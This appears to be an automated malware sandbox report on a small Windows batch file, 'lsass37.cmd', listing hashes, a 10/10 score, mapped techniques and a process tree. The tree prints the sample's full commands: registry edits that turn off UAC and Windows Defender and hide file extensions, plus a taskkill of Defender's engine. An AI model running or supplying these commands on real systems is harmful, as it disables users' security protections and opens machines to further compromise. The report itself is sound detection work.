e491b75f1556cd9be142de1a8e34e7133105d1eecd11902db3ab91c0f386a1e8

Analysis

max time kernel
149s
max time network
134s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 21:58

Target
lsass37.cmd
Size 475B
Sample260529-1vmdfsfw21
SHA256 e491b75f1556cd9be142de1a8e34e7133105d1eecd11902db3ab91c0f386a1e8
MD5 217f8e7b5b0034553a9aa688a5912c38
SHA1 32a003f125e719b9ebb97008939b72ceb5340768
SHA512 fdcb82fe0c3c105d053d7c0d744e186fe1f4be59d9a60a0425f1ed10ef37d8bfaedb60818597d543047b3a92ea08fa83753619788ca6ef4945c7cd49c0f4f2b4
TLSH
T1CDF02760B8159266DAA2B220A48F0C22FBFFE7C3A810ABD1798620529037145C0BD6D7
MD5 SHA1 SHA512 TLSH

Score

10^/10

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies visibility of file extensions in Explorer 2 TTPs 1 IoCs

Hidden Files and Directories

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
3576	taskkill.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3576	taskkill.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 2528 wrote to memory of 2440	2528	cmd.exe	81
PID 2528 wrote to memory of 3768	2528	cmd.exe	82
PID 2528 wrote to memory of 760	2528	cmd.exe	83
PID 2528 wrote to memory of 4604	2528	cmd.exe	84
PID 2528 wrote to memory of 3576	2528	cmd.exe	85

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\lsass37.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:2528
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
  2⤵
  - UAC bypass
  PID:2440
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:3768
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
  2⤵
  - Modifies visibility of file extensions in Explorer
  PID:760
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v Hidden /t REG_DWORD /d 1 /f
  2⤵
  PID:4604
- C:\Windows\system32\taskkill.exe
  taskkill /f /im msmpeng.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3576